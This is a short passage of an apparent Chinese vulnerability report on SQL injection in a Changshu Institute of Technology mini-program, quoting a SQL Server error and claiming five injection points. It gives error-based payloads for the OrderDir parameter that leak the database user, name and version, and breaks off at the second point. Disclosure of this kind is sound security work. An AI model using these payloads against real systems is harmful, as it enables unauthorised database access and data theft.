常熟理工小程序sql注入
这是正常的页面这个是报错的页面 报错语句:"error":"'person_type' 附近有语法错误。\r\n字符串 ')' 后的引号不完整。\r\n'person_type' 附近有语法错误。\r\n字符串 ') order by dictionary_sort asc' 后的引号不完整。"一共有5处地方有注入第一处OrderDir地方利用,/(convert(int,user))./db_name()&OrderDir=asc,1/user&OrderDir=asc,1/@@version第二处注入E
复制链接